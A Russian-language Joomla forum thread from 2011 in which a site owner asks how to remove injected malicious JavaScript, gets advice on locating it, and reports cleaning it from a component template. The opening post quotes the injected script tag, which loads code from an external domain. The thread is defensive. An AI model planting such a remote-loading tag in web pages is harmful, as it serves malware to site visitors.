Joomla 1.5 Нужно далить вредоносный JavaScript

Тема в разделе "Вопросы безопасности", создана пользователем fanta707, 18.03.2011.

  1. Offline

    fanta707 Недавно здесь

    Регистрация:
    18.03.2011
    Сообщения:
    5
    Симпатии:
    0
    Пол:
    Мужской
    Нашёл в коде на одной из страниц сайта скрипт которого там не должно быть
    Код (CODE):
    1. <script type="text/javascript" src="http://surehit.ru/Captcha.js"></script>
    2. <!--20a4b2da2c0aab11a43b8fb0845e92ec-->

    в меню ссылка на эту страницу такая
    Код (CODE):
    1. /index.php?option=com_calc&view=feedback
    хотел вручную удалить её, но не могу найти. Подскажите в каком каталоге на сервере лежит эта страничка чтоб можно было добраться через FTP.
     
    Последнее редактирование: 18.03.2011
  2.  
  3. Offline

    fanta707 Недавно здесь

    Регистрация:
    18.03.2011
    Сообщения:
    5
    Симпатии:
    0
    Пол:
    Мужской
    Re: Нужно удалить вредоносный JavaScript

    Что никто не поможет?:(
    Может я неправельно вопрос задал, или надо дополнить?
     
  4. ycsus
    Offline

    ycsus специалист

    Регистрация:
    19.02.2011
    Сообщения:
    249
    Симпатии:
    33
    Пол:
    Мужской
    Re: Нужно удалить вредоносный JavaScript

    Если в index.php шаблона нету(а если только на этой странице, то значит нету) нуна смотреть в темплейтах компонента com_calc, по названию похож на какой то калькулятор
     
  5. allegus
    Offline

    allegus Недавно здесь

    Регистрация:
    20.09.2007
    Сообщения:
    1
    Симпатии:
    0
    Пол:
    Мужской
    1. Проверь установлен ли такой com_calc и + директорию компонентов: ищи com_calc
    2. Скачай бэкап сайта с ftp на комп — любым удобным способом сделай поиск по всем файлам куска кода (помогут многие программы, умные блокноты ну или просто total commander задействуй).
    Найдётся как миленький.
     
  6. Offline

    fanta707 Недавно здесь

    Регистрация:
    18.03.2011
    Сообщения:
    5
    Симпатии:
    0
    Пол:
    Мужской
    Спасибо всем!!! Всё решена проблема удалил! перерыл кучу папок нашёл в шаблонах, страница с калькуляцией заказа;)
     
  7. Offline

    fanta707 Недавно здесь

    Регистрация:
    18.03.2011
    Сообщения:
    5
    Симпатии:
    0
    Пол:
    Мужской
    P.S. Отличный форум нашёл много нового вас пока ждал)))[!]
     
  8. Offline

    SindBAD Недавно здесь

    Регистрация:
    09.06.2009
    Сообщения:
    100
    Симпатии:
    6
    Пол:
    Мужской
    Это был вирус, который ворует пароли из Totlal Commander и подсовывает свой код в файлы.
    Для избавления от этой хрени я написал маленький скрипт-антивирус :) Надеюсь, кому-нибудь пригодится.
    Посмотреть вложение debug.rar
    В последней строке подставляете код, который хотите удалить и заливаете скрипт в корень сайта.
    Открываете как домен/debug.php , скрипт прочёсывает все файлы. Зараженные будут вылечены и в списке отобразятся красными.

    P.S.: не забывает про синтаксис РНР - в строке нужо экранировать все двойные кавычки!
     
    Последнее редактирование: 04.04.2011
    Asylum нравится это.
  9. draff
    Offline

    draff Russian Joomla! Team Команда форума

    Регистрация:
    17.01.2011
    Сообщения:
    6 044
    Симпатии:
    519
    Пол:
    Мужской
    Последнее редактирование модератором: 31.03.2014

Поделиться этой страницей

Загрузка...